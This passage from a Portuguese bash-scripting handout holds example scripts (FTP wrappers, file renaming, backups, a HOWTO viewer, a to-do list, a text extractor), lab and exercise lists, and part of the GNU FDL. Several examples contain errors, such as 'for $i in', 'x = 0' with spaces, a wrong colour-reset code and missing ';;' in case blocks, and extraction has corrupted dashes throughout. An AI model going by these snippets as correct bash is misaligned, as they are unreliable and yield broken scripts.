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bin  mget $*  quit  EOF  Troque as permissões dos arquivos para :  # chmod 755 /usr/bin/envia /usr/bin/recebe  # chown root /usr/bin/envia /usr/bin/recebe  # chgrp root /usr/bin/envia /usr/bin/recebe  Sintax :  # envia machine arquivo ou  # recebe machine arquivo   9.

Conversão de letras maiúsculas para  minúsculas

#!/bin/bash # renomeia arquivos que tenham nome em maiusculas para o equivalente em minusculas [ $# ­lt 1 ] && {     echo "*** Erro: você precisa passar os arquivos que quer renomear"     echo "Uso: Mminusculas arquivo1 [arquivoN]"     exit } # repare que o for a seguir nao tem o "in lista­de­argumentos"! for maiuscula do     [ ­e "$maiuscula" ] || {         echo "$maiuscula não existe, continuando com o próximo arquivo"         continue     }     minuscula=$( echo $maiuscula | tr A­Z a­z )     mv $maiuscula $minuscula done  10.

Backup

  #!/bin/bash # OBS.: Por favor melhore este script! :­) # Se o número de parâmetros for menor que 2... [ $# ­lt 2 ] && {   echo "Uso: `basename $0` destino origem [origem2 origem3...]"   exit 1        # ... sai do script } Adbeel Goes Filho

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echo "­­> Fazendo backup" FILE="${1}_$(/bin/date +%d­%m­%Y).tgz" shift # Aqui está o "segredo": o shift acima é executado para que eu possa usar "$*" no if abaixo. if tar czf $FILE $* ; then   echo "Backup feito com sucesso" else   echo "ERRO" 1>&2   exit 1 fi  11.

Visualizar HOWTO

  #!/bin/bash # # ********************************************* # * Script para visualizar HOWTOs rapidamente * # ********************************************* #               http://meleu.da.ru #          meleu <[email protected]> #    Inspirado em um outro script que vi no Tips­HOWTO. #    O script do Tips­HOWTO era muito simples, fiz algumas # modificações que são interessantes para nós que falamos # português e de vez em quando temos uns HOWTOs traduzidos, # e ainda fiz um "suporte" aos mini­HOWTOs. ;­) #    E mais: se você não lembra direito do nome do HOWTO, pode # passar apenas a(s) primeira(s) letra(s) e/ou usar os curingas # ('*', '?' e '[]'), mas aconselha­se, neste último caso, o uso de # aspas ("quoting") para evitar que seja passado como parâmetro(s) # o conteúdo do diretório atual. Caso ele encontre mais de um # arquivo para a expressão você poderá escolher através da tela que # aparecerá. # Exemplos: # [prompt]$ howto Net # [prompt]$ howto "*[Bb]ash" # [prompt]$ howto "*Prog" # #    Se você ainda não tem e não sabe onde pegar HOWTOs traduzidos # procure em http://ldp­br.conectiva.com.br # # Pré­requisitos para o script funcionar direitinho (ou seja, sem # precisar de alterações): #    + os HOWTOs devem estar em "/usr/doc/Linux­HOWTOs"; #    + os HOWTOs em português devem estar em "/usr/doc/Linux­HOWTOs.pt"; Adbeel Goes Filho

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#    + os mini­HOWTOs devem estar em "/usr/doc/Linux­mini­HOWTOs"; #    + todos os [mini­]HOWTOs[.pt] devem estar gzipados, se os seus não #      estão assim basta entrar no diretório dos HOWTOs e digitar #      "gzip *". # # #    Se você testou o script, ele funcionou direitinho e você gostou, # então digite "cp howto.sh /usr/local/bin/howto" para que todos do # seu sistema possam utilizá­lo. ;­) # # Aproveite! # Estes são os diretórios onde são instalados os [mini­]HOWTOs no # Slackware. Se a sua distribuição usa um diretório diferente # mude a(s) variável(is) a seguir. HTDIR=/usr/doc/Linux­HOWTOs miniHTDIR=/usr/doc/Linux­mini­HOWTOs PTHTDIR=/usr/doc/Linux­HOWTOs.pt     # este é onde eu coloco os traduzidos # Variáveis que indicam as cores (pra não precisar ficar # digitando os códigos ANSI toda hora) BLUE="\e[1;34m" RED="\e[1;31m" NCOLOR="\e[m" function Ler { zless $1 echo ­e "${RED}\nTchau!\n$NCOLOR" exit } # Função que mostra a lista dos HOWTOs e sai do script. function Lista {         ls ­C $HTDIR | less         echo ­e " ${BLUE}Uso:$NCOLOR `basename $0` [­p | ­m] nome­do­HOWTO Faça '`basename $0` ­h' para ver a descrição das opções."         exit 1 } # se não for passado nenhum parâmetro ele mostra a lista [ ­z "$1" ] && Lista # ­­­­­­­­­­­­­­­­­­­­ # ­ TESTA PARÂMETROS ­ Adbeel Goes Filho

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# ­­­­­­­­­­­­­­­­­­­­ case $1 in #  ­ mensagem de ajuda ­ #  ­­­­­­­­­­­­­­­­­­­­­ ­h) echo ­e " ${RED}­­[ Lista de opções ]­­$NCOLOR ­p \t HOWTOs em português ­m \t mini­HOWTOs ­h \t imprime esta mensagem "     exit        # depois da mensagem de ajuda, sair ;; # ­ HOWTOs em português ­ # ­­­­­­­­­­­­­­­­­­­­­­­ ­p) HTDIR=$PTHTDIR     [ ­z "$2" ] && Lista     shift       # Lembra do 'shift'? Aqui ele faz com que o primeiro                 # parâmetro deixe de ser '­p' para ser o nome­do­HOWTO ;; # ­ mini­HOWTOs ­ # ­­­­­­­­­­­­­­­ ­m) HTDIR=$miniHTDIR     [ ­z "$2" ] && Lista     shift       # mesma função do shift no '­p' ;; esac    # Ao fim deste case $1 tem necessariamente o nome ou a(s)         # primeira(s) letra(s) do nome do HOWTO a ser procurado. cd $HTDIR FILE=`ls $1*.gz 2>/dev/null` [ `echo $FILE | wc ­w` ­gt 1 ] && {    PS3="Entre com o número: "    select opc in $FILE Sair ; do         [ "$opc" = "Sair" ] && exit         for HOWTO in $FILE ; do             [ "$opc" = "$HOWTO" ] && Ler $HOWTO         done     done Adbeel Goes Filho

   Shell­Scripts                                                                           124

} [ ­e "$FILE" ] && Ler $FILE # Isto só será executado se não for encontrado o HOWTO echo ­e "${RED}* * * HOWTO não encontrado * * *$NCOLOR" echo "Tente '`basename $0` [­p | ­m]' para ver a lista" exit 1  12.

todo.sh

  #!/bin/bash PROG=`basename $0` EDITOR=`which vi` FILE="$HOME/.ToDo" USAGE="Uso: $PROG [­h|­e]" case $1 in         ­h) echo " $USAGE ­e      edita a lista de \"Para Fazer\" (To Do) ­h      imprime esta mensagem e sai Sem parâmetros $PROG irá mostrar a lista de \"To­Do\". "             exit ;;         ­e) $EDITOR $FILE             exit ;;         '') cat $FILE 2> /dev/null || {                 echo "Você precisa criar o arquivo $HOME/.ToDo !"                 echo "Entre \"$PROG ­e\" para editar seu ~/.ToDo"                 echo "Para ajuda tente \"$PROG ­h\""                 exit 1             } ;;         *) echo "Parâmetro \"$1\" desconhecido!"            echo "$USAGE"            echo "Entre com \"$PROG ­h\" para ajuda."            exit ;;

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   Shell­Scripts                                                                           125

esac    13.

inseretxt.sh

  #!/bin/bash # # Muitas vezes durante a escrita do texto # "Programação em Bourne­Again Shell" eu precisava # inserir um código de um script numa determinada # posição do arquivo e esta posição ficava entre muito texto antes e depois  # dessa linha. # Para fazer isso de uma maneira mais cômoda, eu escrevi este script. # Para informações sobre o uso tente o parâmetro '­h' ou # '­­help'. # Se você passar como o parâmetro "linha" um número maior # que o de linhas total do "ArqOriginal" os "arquivosN" # serão inseridos no final do "ArqOriginal". # Ah! Lembre­se de uma coisa: "linha" precisa ser um # inteiro positivo. E lembre­se de mais uma coisa: 0 # não é um número positivo. ;­) # meleu. # B="\e[1m" N="\e[m" USO="Uso: `basename $0` linha ArqOriginal arquivo1 [arquivoN ...]" AJUDA="Tente \"`basename $0` ­­help\" para ajuda" [ "$1" = '­h' ­o "$1" = '­­help' ] && {     echo ­e " ${B}Insere o conteúdo de arquivo(s) dentro de um outro.$N $USO Onde: \"linha\"       é a linha onde o texto será inserido \"ArqOriginal\" é o arquivo que receberá os textos  \"arquivoN\"    são os arquivos que serão inseridos em ArqOriginal "     exit } [ $# ­lt 3 ] && { Adbeel Goes Filho

   Shell­Scripts                                                                           126

    echo ­e ${B}Erro: erro na passagem de parâmetros$N     echo $USO     echo $AJUDA     exit ­1 } Linha=$1 # verificando se $Linha é um número inteiro positivo [ `expr $Linha ­ 1 2>/dev/null` ­ge 0 ] 2>/dev/null || {     echo ­e ${B}Erro: O primeiro parâmetro precisa ser inteiro positivo$N     echo $AJUDA     exit 1 } ArqOriginal=$2 [ ­f $ArqOriginal ] || {     echo ­e ${B}Erro: \"$ArqOriginal\" não existe ou não é um arquivo regular$N     echo $AJUDA     exit 2 } function ApagarSair {     rm "$1"     exit $2 } shift 2 Temp=/tmp/`basename $ArqOriginal`­$$.tmp # ­­> início do arquivo original: head ­$[$Linha­1] $ArqOriginal > $Temp # ­­> arquivos que serão inseridos: ContaAcerto=0 for Arq in "$@"; do     [ ­f "$Arq" ] || {         echo ­e ${B}OBS.: \"$Arq\" não existe ou não é um arquivo regular$N         continue     }     cat $Arq >> $Temp     (( ContaAcerto++ )) done [ $ContaAcerto ­eq 0 ] && {     echo ­e ${B}Nenhum arquivo foi inserido em \"$ArqOriginal\"$N     ApagarSair $Temp 3 Adbeel Goes Filho

   Shell­Scripts                                                                           127

} echo # ­­> pra terminar, final do arquivo original: sed ­n "$Linha,\$p" $ArqOriginal >> $Temp ArqFinal="$ArqOriginal.new" [ ­e $ArqFinal ] && {     echo ­e ${B}Já existe um arquivo chamado \"$ArqFinal\".$N     read ­n 1 ­p "Deseja sobregravá­lo? (s/N) " SN     echo     [ "$SN" != 'S' ­a "$SN" != 's' ] && {         echo ­e "$B\nOperação cancelada!$N"         ApagarSair $Temp 3     } } cat $Temp > $ArqFinal echo ­e " ${B}Operação concluída com sucesso.$N Confira em \"$ArqFinal\" " ApagarSair $Temp    14.

Mextract.sh

#!/bin/sh # # **************************** # * Meleu Extraction Utility * # **************************** # http://meleu.da.ru # Este script é baseado no Phrack Extraction Utility, (mais informações # ). Fiz ele, primeiro para praticar, segundo para # servir como mais um exemplo no texto "Programação em Bourne­Again Shell",  # e último para extração dos códigos do texto. =P # ############# Se já existirem arquivos com o nome dos que serão extraídos # !CUIDADO! # eles serão sobregravados! Portanto, se você extrair uma vez, ############# alterar o(s) código(s) extraído(s) e extrair novamente, perderá as alterações feitas! # # Adbeel Goes Filho

   Shell­Scripts                                                                           128

#   A seguir eu vou comentar sobre o código fazendo referência aos tópicos # do texto "Programação em Bourne­Again Shell". # # #    + A função do IFS é explicada no tópico "2.2. Variáveis do Shell", neste script eu usei o IFS  com valor nulo (vazio) para que os comandos considerem espaços que vêm antes de qualquer  caractere como parte do dado. Se você fizer por exemplo "read var" e antes de entrar qualquer # coisa colocar espaços e/ou TAB, você verá que eles serão desconsiderados se o IFS tiver seu valor  default (espaço, TAB, newline); # #    + A opção ­r no read (explicada em 3.2. read) serve para ignorar o # poder que a contra­barra (backslash) tem de "escapar" os caracteres. Em # outras palavras: a opção ­r garante que quando o read receber uma # contra­barra ela será passada para a variável sem nenhum valor especial; # #    + O cat enviando os dados para o read do while é explicado em # "5.5. Redirecionando loops" sob o título de "pipeando para o while"; # #    + o set é usado para fazer com que cada palavra (palavra aqui tem um # sentido de conjunto de caracteres separados por aqueles definidos no # IFS) vire um parâmetro posicional, conforme explicado em # "2.4.2. set (para editar parâmetros posicionais)". A opção ­­ quer dizer # "acabaram as opções, o que vier a partir daqui são os valores dos # parâmetros de posição", esta opção serve para prevenir que alguma # informação que comece com o caractere ­ seja considerado uma opção # sendo passada para o set; # #    + No tópico "2.5. Substituição de Variáveis" você verá a explicação # de se usar "FILE=${FILE:­.}/$1"; # #    + Bom... acho que é isso. Leia o código, execute­o, faça testes, # mude o código, execute­o novamente, veja o que mudou nos resultados, # leia as manpages em caso de dúvidas... Enfim, use o método hacker de # aprender a programar! ;­) # Espero que curta! # meleu <[email protected]> # # P.S.: Quer um "dever de casa"? Altere o código para que ele verifique #       se já existe arquivos com o mesmo nome dos que estão prestes a #       serem extraídos. Se existir, alertar o usuário sobre isso. Tente #       também fazer meios de detecção dos possíveis erros que possam #       ocorrer... #       Ah, sei lá! Brinque com o código um pouco! =) # B="\e[1m" Adbeel Goes Filho

   Shell­Scripts                                                                           129

N="\e[m" [ $# ­lt 1 ] && {     echo ­e "${B}Erro: falta parâmetros$N"     echo "Uso: `basename $0` arquivo1 [arquivoN]"     exit 1 } [ ­w . ] || {     echo ­e "${B}Erro: você não tem permissão de escrita neste diretório$N"     exit 1 } OldIFS="$IFS" IFS= cat $@ | while read ­r LINHA ; do         IFS="$OldIFS"         set ­­ $LINHA         case "$1" in         '<++>')                 TempIFS="$IFS"                 IFS=/                 set ­­ $2                 IFS="$TempIFS"                 while [ $# ­gt 1 ]; do                     FILE=${FILE:­.}/$1                     [ ­d $FILE ] || mkdir $FILE                     shift                 done                 FILE="${FILE:­.}/$1"                 if echo ­n 2>/dev/null > $FILE ; then                     echo "* Extraindo $FILE"                 else                     echo ­e "$B­­> houve um erro ao tentar extrair '$FILE'"                     echo ­e "    este arquivo será ignorado.$N"                     unset FILE                 fi                         ;;         '<­­>')                 unset FILE         ;;         *)                 [ "$FILE" ] && {                     IFS=                     echo "$LINHA" >> $FILE Adbeel Goes Filho

   Shell­Scripts                                                                           130

                }         ;;         esac done echo "­­> Fim <­­" 15.

Arquivos

Backup Diário #!/bin/bash # VIRTVS Engenharia e Informática Ltda # Assunto = Backup Diário # Data de Inclusão = 29/09/2002 # Data de Alteração = 29/09/2002 # Parâmetros tar = # c =Cria arquivo tar # f =Tratar o arquivo # r =Adicionar ao final de um arquivo tar # p =Preserva as permissões # z =Compactar com gzip # v =Exibe arquivos processados # ­W –verify =Verifica arquivo após gravá­lo # ­P ­­absolute­names =Preserva / # tar ­tvf =Exibe conteúdo do arquivo tar com as permissões clear BASE="${HOSTNAME}_$(date "+%Y%m%d%H%M%S")" DESTINO=/tmp/ ARQUIVO_DESTINO=${DESTINO}${BASE}.tar ARQUIVO_DUMP=${DESTINO}${BASE}.pgdump ARQUIVO_ERRO="/tmp/erro.backup" TRACOS="­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­" echo "Gerando $ARQUIVO_DESTINO ..." echo $TRACOS echo "Gerando $ARQUIVO_DUMP do PostgreSQL..." sudo ­u postgres  pg_dump satis > $ARQUIVO_DUMP tar  ­cf $ARQUIVO_DESTINO   /etc                      2>  $ARQUIVO_ERRO tar  ­rf $ARQUIVO_DESTINO   /home                     2>> $ARQUIVO_ERRO tar  ­rf $ARQUIVO_DESTINO  $ARQUIVO_DUMP             2>> $ARQUIVO_ERRO gzip ­f  $ARQUIVO_DESTINO > ${ARQUIVO_DESTINO}.gz     2>> $ARQUIVO_ERRO mv    ${ARQUIVO_DESTINO}.gz  /mnt/hdc/backup           2>> $ARQUIVO_ERRO echo $TRACOS echo "Fim do Backup. Arquivo=$ARQUIVO_DESTINO" exit 0

Adbeel Goes Filho

   Shell­Scripts                                                                           131

Backup Semanal #!/bin/bash # VIRTVS Engenharia e Informática Ltda # Assunto  = Backup Semanal # Data de Inclusão = 29/09/2002 # Data de Alteração = 29/09/2002 #  # Parâmetros tar = # c = # f = # r = # p = # z = # v =        # ­W ­­verify = # ­P ­­absolute­names = # tar ­tvf = permissões clear

Cria arquivo tar Tratar o arquivo Adicionar ao final de um arquivo tar Preserva as permissões Compactar com gzip Exibe arquivos processados Verifica arquivo após gravá­lo Preserva / Exibe conteúdo do arquivo tar com as 

BASE="${HOSTNAME}_$(date "+%Y%m%d%H%M%S")" DESTINO="/mnt/hdc/" ARQUIVO_DESTINO=${DESTINO}${BASE}.tar ARQUIVO_OK="/tmp/ok.txt" ARQUIVO_ERRO="/tmp/erro.txt" TRACOS="­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­" echo "Gerando Cópia em Background ..." echo $TRACOS cp   ­R ­­preserve –update /home    $DESTINO  1>  $ARQUIVO_OK  2>  $ARQUIVO_ERRO &  cp   ­R ­­preserve ­­update /util    $DESTINO  1>> $ARQUIVO_OK  2>> $ARQUIVO_ERRO & cp  ­R ­­preserve ­­update /etc     $DESTINO  1>> $ARQUIVO_OK  2>> $ARQUIVO_ERRO & cp   ­R ­­preserve ­­update  /var     $DESTINO  1>> $ARQUIVO_OK  2>> $ARQUIVO_ERRO & echo $TRACOS echo "Fim" exit 0

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   Shell­Scripts                                                                           132

 16.

Uso de Função

#!/bin/sh menu () {  echo "Entre com uma opcao:"  echo  echo "1. Exibir Data e Hora"  echo "2. Exibir Calendario"  echo "3. Desligar o sistema"  echo "4. Sair do programa"  echo  echo ­n "Escolha: "  read escolha  Funcao_Escolha } Funcao_Escolha () {  case $escolha in    1) echo ; date ; echo ; menu ;;    2) echo ; cal ; echo ; menu ;;    3) halt ;    4) echo "Até mais" ; echo ; exit ;;  esac } menu EXPR  : Fazer contas matemáticas. sintaxe : expr 2 + 2   +  ­ adição    ­  ­ subtração    \* ­ multiplicação /  ­ divisão %  ­ resto     17.

Colocando cor nas frases

Talvez vc seje vaidoso(a) e queira exibir mensagens com cor , então a sintaxe é : 

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   Shell­Scripts                                                                           133

#!/bin/sh echo ­e "\\033[0;31m Testando \\031[0;0m"; # O script acima exibira na tela uma mensagem abaixo :   # Testando ( mas a msg vai estar em vermelha ) Sendo que o 31 eh a cor da fonte : Tabela de cor :                  30 ­ preta                 31 ­ vermelha                 32 ­ verde                 33 ­ amarela                 34 ­ azul                 35 ­ rosa                 36 ­ azul piscina                 37 ­ branca       {}  FIM {} 

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   Shell­Scripts                                                                           134

2. Laboratórios

 

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Laboratório 1 :Diversos ( 20060425 ) 1. Qual o resultado do último comando abaixo? Havendo problemas, qual será a correção ? #a=Universidade de #b=Fortaleza #echo $a$b 2. Qual o resultado de: #a=$(ls /tmp)      #echo $a 3. Qual o resultado de: #echo $(ps aux | grep bash) 4. Qual o resultado de: #find / ­name *.html 1> /tmp/ok.txt 2> /tmp/erro.txt 5. Elabore um shell­script para  copiar todo o conteúdo de um usuário, usando a substituição do ~  para o diretório /tmp/$USER 6. Elabore um  shell­script para enviar para o email  [email protected]  a relação das variáveis  globais e locais alocadas no presente shell. 7. Elaborar   um  shell­script   para   copiar   todos   os   arquivos   de   jornalização   em   /var/log   para   o  diretório /tmp/log utilizando a substituição de comandos. 8. Elabore um shell­script para calcular a soma dos n primeiros números inteiros positivos. Leia n  em tempo de execução. 9. Elabore um shell­script para, dado um número n, exibir a Série de Fibonnacci até ele. Exemplo: 0 – 1 – 1 – 2 – 3 – 5 – 8 – ... 10.Elabore um shell­script para calcular o fatorial de um número n, passado por parâmetro. Exemplo: #./fatorial 6

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Laboratório 2 :Comandos Condicionais Elabore os seguintes  shell­scripts.  1.  Encontrar o maior dentre três números recebidos em tempo de execução. 2. Receber duas strings em tempo de execução e exibir uma mensagem se elas são iguais ou não. 3. Encontrar o registro com os dados do  usuário do login no arquivo /etc/password 4. Encontrar e gerar um arquivo com a extensão teste.bak no diretório do usuário de login se ele não  existir. 5. Remover arquivos temporários de determinado usuário (Não root). 6. Remover um arquivo cujo nome é lido em tempo de execução. 7. Verificar quais arquivos em /bin podem ser lidos pelo usuário atual. 8. Exibir, caso exista, o conteúdo do arquivo /var/log/squid/access.log no editor vi. 9. Verificar se um usuário está logado e enviar uma mensagem para ele pedindo desconexão. 10.Tratar arquivos de acordo com o menu:

M e n u del

Remover arquivo

ren

Renomear arquivo

cp

Copiar arquivo

me

Mandar conteúdo por email

end

Sair do aplicativo

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   Shell­Scripts                                                                           138

Laboratório 3 :Comandos de Repetição 1. Exibição de números de 1 a n #!/bin/bash read ­p “Qual o número n ?” n for $i in $(seq 1 $n) ;    do         echo “$i”    done

2. Faça a geração de n números randômicos

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   Shell­Scripts                                                                           139

Laboratório 4 :Funções 1. Exemplo de Menu #!/bin/bash function opcao1 {    echo “Opção 1” } function opcao2 {    echo “Opção 2”    return 10 } echo “Informe a Opção” read op case $op in 1) echo “Entrei na Função opcao1” opcao1 ;; 2) echo “Entrei na Função opcao2” opcao2 ;; exit 0 Observe que a chamada da função deverá vir após sua declaração. 2. Elabore uma calculadora aritmética simples.

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   Shell­Scripts                                                                           140

Laboratório 5 :Diversos

Elabore os seguintes  shell­scripts.  1. Inverter uma sequência de 'n' números ( 1 a n ). 2. Ler e exibir os usuários cadastrados em /etc/passwd 3. Consultar o IP associado a um nome de HOST ( Arquivo /etc/hosts) 4. Exibir as variáveis GLOBAIS associadas ao usuário logado. 5. Elabore um shell script para criar uma agenda de endereços. 

M e n u – [Usuário] i

Incluir

a

Alterar

e

Excluir

c

Consultar

f

Fim

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   Shell­Scripts                                                                           141

Variáveis      $0                        $1 a $9                   ${10}, ${11}...      uso das chaves;      $*                       $@                        $#                        $?                        $$                  

é o nome do shell­script; $1 é o primeiro parâmetro, $9 o nono, e assim por diante; quando o número do parâmetro possui mais de um dígito é necessário o  todos os parâmetros em uma única string  (exceto o $0); todos os parâmetros, cada um em strings separadas (exceto $0); número de parâmetros (sem contar com o $0). valor de retorno do último comando (explicado mais adiante); PID do script.

Comando case case <parâmetro> in                             ;;    [opção 2] )                          ;;    * )                          < comandos se não for nenhuma das opções >                         ;; esac

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   Shell­Scripts                                                                           142

Resumo dos Comandos $0   

é o nome do shell­script (a.k.a. parâmetro zero);

$1 a $9  

$1 é o primeiro parâmetro, $9 o nono, e assim por diante;

${10}, ${11}..

quando o número do parâmetro possui mais de um dígito é necessário o uso  das chaves;

$* 

todos os parâmetros em uma única string  (exceto o $0)

$@  

todos os parâmetros, cada um em strings separadas (exceto $0)

$# 

número de parâmetros (sem contar com o $0).

$?

valor de retorno do último comando (explicado mais adiante);

$$ 

PID do script;

$!

PID do último comando iniciado com &

x = 0 while [  "$x" ­le 10 ]; do   echo "Execução número:  $x"?;   x = $((x+1)); done; for  in <lista>;  do comandos done; #!/bin/bash CONT=10 until [ $CONT ­eq 0 ]; do         echo ­ne "$CONT\t"         let CONT­­ done echo case <parâmetro> in   )                                                     ;;    [opção 2] )                                                    ;;    * )                          < comandos se não for nenhuma das opções >                         ;; esac Adbeel Goes Filho

   Shell­Scripts                                                                           143

3. Exercicios Lista 20040513 1. Escreva um script chamado clean para limpar seu diretório $HOME, removendo todos os  arquivos com extensão "bak" ou "~" que não tenham sido acessados há pelo menos 3 dias. Dica:  use os comandos find e rm . 2. Escreva um script para criar diretórios com nome DirXXX, onde XXX varia de 001 a 299.  3. Escreva um conjunto de scripts para gerenciar o apagamento de arquivos. O script del deve  mover os arquivos passados como parâmetros para um diretório lixeira; o script undel deve  mover arquivos da lixeira para o diretório corrente e o script lsdel deve listar o conteúdo da  lixeira. O diretório lixeira deve ser definido através da variável de ambiente $LIXEIRA.  4. Funda os scripts do exercício anterior em um só script del, com os demais (undel e lsdel) sendo  links simbólicos para o primeiro. Como fazer para que o script saiba qual a operação desejada  quando ele for chamado, sem precisar informá­lo via parâmetros ?  5. Escreva um script para verificar quais hosts de uma determinada rede IP estão ativos. Para testar  se um host está ativo, use o comando ping. A rede deve ser informada via linha de comando, no  formato x.y.z, e o resultado deve ser enviado para um arquivo com o nome x.y.z.log. Deve ser  testada a acessibilidade dos hosts de x.y.z.1 a x.y.z.254. O arquivo /etc/hosts contem os nomes  dos hosts no formato:   

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   Shell­Scripts                                                                           144

Relação de Comandos do Shell­Script

if [condição];  then comandos1;  else comandos2; fi;  while [ condição ];  do comando 1; comando 2; ... done;

for  in <lista>;  do comandos done;

until <expressão>; do        retornar FALSO> done case <parâmetro> in   )                                                     ;;    [opção 2] )                                                    ;;    * )                          < comandos se não for nenhuma  das opções >                         ;; esac

select  in <lista de opções>; do    done;

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Índice alfabético Metacaracteres 40 Pipes 41 shell 10pp., 14pp., 21pp., 25, 28, 30, 32pp., 36, 38, 40p., 48pp., 59pp., 71, 82, 103, 106pp., 112, 115,  134p., 138 shift 25, 27, 33, 118, 120, 122, 125, 128

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5. GNU Free Documentation License Version 1.1, March 2000 Copyright (C) 2000 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111­1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing  it is not allowed. 0. PREAMBLE The purpose of this License is to make a manual, textbook, or other written document "free" in the  sense of  freedom: to assure everyone the effective freedom to copy and redistribute it, with  or  without modifying it, either commercially or noncommercially. Secondarily, this License preserves  for   the   author   and   publisher   a   way   to   get   credit   for   their   work,   while   not   being   considered  responsible for modifications made by others.  This License is a kind of "copyleft", which means that derivative works of the document must  themselves be free in the same sense. It complements the GNU General Public License, which is a  copyleft license designed for free software. We have designed this License in order to use it for manuals for free software, because free software  needs free documentation: a free program should come with manuals providing the same freedoms  that the software does. But this License is not limited to software manuals; it can be used for any  textual   work,   regardless   of   subject   matter   or   whether   it   is   published   as   a   printed   book.   We  recommend this License principally for works whose purpose is instruction or reference. 1. APPLICABILITY AND DEFINITIONS This License applies to any manual or other work that contains a notice placed by the copyright  holder saying it can be distributed under the terms of this License. The "Document", below, refers to  any such manual or work. Any member of the public is a licensee, and is addressed as "you". A "Modified Version" of the Document means any work containing the Document or a portion of it,  either copied verbatim, or with modifications and/or translated into another language.  A "Secondary Section" is a named appendix or a front­matter section of the Document that deals  exclusively with the relationship of the publishers or authors of the Document to the Document's  overall subject (or to related matters) and contains nothing that could fall directly within that overall  subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section  may not explain any mathematics.) The relationship could be a matter of historical connection with  the   subject   or   with   related   matters,   or   of   legal,   commercial,   philosophical,   ethical   or   political  position regarding them. The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those  of Invariant Sections, in the notice that says that the Document is released under this License. The "Cover Texts" are certain short passages of text that are listed, as Front­Cover Texts or Back­ Cover Texts, in the notice that says that the Document is released under this License. A "Transparent" copy of the Document means a machine­readable copy, represented in a 106 format  whose specification is available to the general public, whose contents can be viewed and edited  directly and straightforwardly with generic text editors or (for images composed of pixels) generic  paint programs or (for drawings) some widely available drawing editor, and that is suitable for input  to   text   formatters  or  for   automatic  translation  to  a  variety  of   formats  suitable   for   input  to   text  Adbeel Goes Filho

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formatters. A copy made in an otherwise Transparent file format whose markup has been designed  to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not  "Transparent" is called "Opaque". Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo  input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard­ conforming simple HTML designed for human modification. Opaque formats include PostScript,  PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or  XML for which the DTD and/or processing tools are not generally available, and the machine­ generated HTML produced by some word processors for output purposes only. The "Title Page" means, for a printed book, the title page itself, plus such following pages as are  needed to hold, legibly, the material this License requires to appear in the title page.  For works in formats which do not have any title page as such, "Title Page" means the text near the  most prominent appearance of the work's title, preceding the beginning of the body of the text. 2. VERBATIM COPYING You   may   copy   and   distribute   the   Document   in   any   medium,   either   commercially   or  noncommercially, provided that this License, the copyright notices, and the license notice saying  this   License  applies   to  the  Document   are   reproduced  in  all  copies,   and  that  you  add  no  other  conditions whatsoever to those of this License. You may not use technical measures to obstruct or  control the reading or further copying of the copies you make or distribute.  However, you may accept compensation in exchange for copies. If you distribute a large enough  number of copies you must also follow the conditions in section 3. You may also lend copies, under the same conditions stated above, and you may publicly display  copies. 3. COPYING IN QUANTITY If  you  publish printed copies of the Document numbering more than 100, and the Document's  license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and  legibly, all these Cover Texts: Front­Cover Texts on the front cover, and Back­Cover Texts on the  back cover. Both covers must also clearly and legibly identify you as the publisher of these copies.  The front cover must present the full title with all words of the title equally prominent and visible.  You may add other material on the covers in addition. Copying with changes limited to the covers,  as long as they preserve the title of the Document and satisfy these conditions, can be treated as  verbatim copying in other respects. If the required texts for either cover are too voluminous to fit legibly, you should put the first ones  listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages. If you publish or distribute Opaque copies of the Document numbering more than 100, you must  either include a machine­readable Transparent copy along with each Opaque copy, or state in or  with   each   Opaque   copy  a   publicly­accessible   computer­network   location   containing  a   complete  Transparent copy of the Document, free of added material, which the general network­using public  has access to download anonymously at no charge using public­standard network protocols. If you  use   the   latter   option,   you   must   take   reasonably   prudent   steps,   when   you   begin   distribution   of  Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the  stated location until at least one year after the last time you distribute an Opaque copy (directly or  through your agents or retailers) of that edition to the public. It   is   requested,   but   not   required,   that   you   contact   the   authors   of   the   Document   well   before  redistributing any large number of copies, to give them a chance to provide you with an updated  version of the Document. Adbeel Goes Filho

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4. MODIFICATIONS You may copy and distribute a Modified Version of the Document under the conditions of sections  2 and 3 above, provided that you release the Modified Version under precisely this License, with the  Modified Version filling the role of the Document, thus licensing distribution and modification of  the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the  Modified Version: A.Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and  from those of previous versions (which should, if there were any, be listed in the History section of  the Document). You may use the same title as a previous version if the original publisher of that  version gives permission. B.List on the Title Page, as authors, one or more persons or entities responsible for authorship of the  modifications in the Modified Version, together with at least five of the principal authors of the  Document (all of its principal authors, if it has less than five). C.State on the Title page the name of the publisher of the Modified Version, as the publisher. D.Preserve all the copyright notices of the Document. E.Add   an   appropriate   copyright   notice   for   your   modifications   adjacent   to   the   other   copyright  notices. F.Include, immediately after the copyright notices, a license notice giving the public permission to  use the Modified Version under the terms of this License, in the form shown in the Addendum  below. G.Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in  the Document's license notice. H.Include an unaltered copy of this License. I.Preserve the section entitled "History", and its title, and add to it an item stating at least the title,  year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no  section entitled "History" in the Document, create one stating the title, year, authors, and publisher  of the Document as given on its Title Page, then add an item describing the Modified Version as  stated in the previous sentence. J.Preserve the network location, if any, given in the Document for public access to a Transparent  copy of the Document, and likewise the network locations given in the Document for previous  versions it was based on. These may be placed in the "History" section. You may omit a network  location for a work that was published at least four years before the Document itself, or if the  original publisher of the version it refers to gives permission. K.In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and  preserve in the section all the substance and tone of each of the contributor acknowledgements  and/or dedications given therein. L.Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles.  Section numbers or the equivalent are not considered part of the section titles. M.Delete any section entitled 